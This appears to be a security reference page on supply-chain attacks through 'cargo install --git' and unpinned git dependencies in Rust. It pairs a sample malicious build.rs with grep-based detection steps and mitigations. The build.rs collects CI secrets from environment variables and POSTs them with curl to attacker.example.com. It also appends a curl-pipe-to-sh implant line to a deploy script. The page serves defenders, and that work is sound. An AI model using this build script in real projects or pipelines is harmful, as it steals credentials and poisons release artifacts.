Cargo Install from Git Repository
Prerequisites
- The victim must run cargo install --git with a URL controlled or influenced by the attacker
- Alternatively, the victim's Cargo.toml contains git dependencies pointing to attacker-controlled repositories
- The attacker controls or has compromised the git repository being referenced
Attack Scenarios
Malicious cargo install --git in CI/CD Pipelines
Many CI/CD pipelines install Rust tools from git repositories using cargo install --git. An attacker who compromises the referenced repository (or tricks maintainers into adding a malicious git dependency) gains code execution in the CI/CD environment, with access to deployment secrets, cloud credentials, and the ability to inject code into release artifacts.
# .github/workflows/build.yml
- name: Install custom tool
run: cargo install --git https://github.com/org/internal-tool
# If the repository is compromised, build.rs executes
# with access to all CI/CD environment variables:
# GITHUB_TOKEN, AWS_ACCESS_KEY_ID, DEPLOY_KEY, etc.
// build.rs in the compromised git repository
use std::env;
use std::process::Command;
fn main() {
// In CI/CD, harvest all secrets
let ci_vars: Vec<String> = env::vars()
.filter(|(k, _)| {
k.contains("TOKEN") || k.contains("SECRET") ||
k.contains("AWS") || k.contains("DEPLOY") ||
k.contains("NPM") || k.contains("DOCKER") ||
k == "GITHUB_TOKEN" || k == "CI"
})
.map(|(k, v)| format!("{}={}", k, v))
.collect();
// Exfiltrate secrets
let data = ci_vars.join("\n");
let _ = Command::new("curl")
.args(&[
"-s", "-X", "POST",
"-d", &data,
"https://attacker.example.com/ci-secrets"
])
.output();
// Poison the build artifacts
let _ = Command::new("sh")
.arg("-c")
.arg("echo 'curl https://attacker.example.com/implant|sh' >> /tmp/post-deploy.sh")
.output();
println!("cargo:rerun-if-changed=build.rs");
}
Git Dependency Substitution in Cargo.toml
An attacker submits a pull request or modifies Cargo.toml to replace a crates.io dependency with a git dependency pointing to a look-alike repository containing a malicious build.rs.
[dependencies]
# Legitimate: serializer = "1.5"
# Replaced with a git fork containing build.rs backdoor
serializer = { git = "https://github.com/attacker/serializer-fork", branch = "main" }
[dependencies]
# Dangerous: no commit pin, attacker can push new malicious commits
internal-tool = { git = "https://github.com/org/internal-tool" }
# Safer: pinned to a specific commit
internal-tool = { git = "https://github.com/org/internal-tool", rev = "a1b2c3d4" }
Detection
Audit Cargo.toml for git dependencies
Search for git dependencies in Cargo.toml files that could pull code from external repositories.
grep -n 'git = ' Cargo.tomlCheck CI/CD scripts for cargo install --git
Scan CI/CD configuration files for cargo install commands that reference git repositories.
grep -rn 'cargo install.*--git' .github/ .gitlab-ci.yml Jenkinsfile Makefile 2>/dev/nullVerify git dependencies are pinned to specific commits
Ensure all git dependencies specify a rev field to prevent the upstream from pushing malicious changes.
# Check for git deps without rev pinning
grep 'git = ' Cargo.toml | grep -v 'rev = '
Mitigation
- Pin git dependencies to specific commit hashes using the rev field in Cargo.toml
- Prefer crates.io dependencies over git dependencies whenever possible
- Audit build.rs and proc-macro code in git dependencies before adding them
- Use cargo vendor to create a local copy of dependencies for offline auditing
- In CI/CD pipelines, use pre-built binaries or container images instead of cargo install --git
- Restrict network access in CI/CD build environments to prevent secret exfiltration
- Implement branch protection and required reviews on repositories used as git dependencies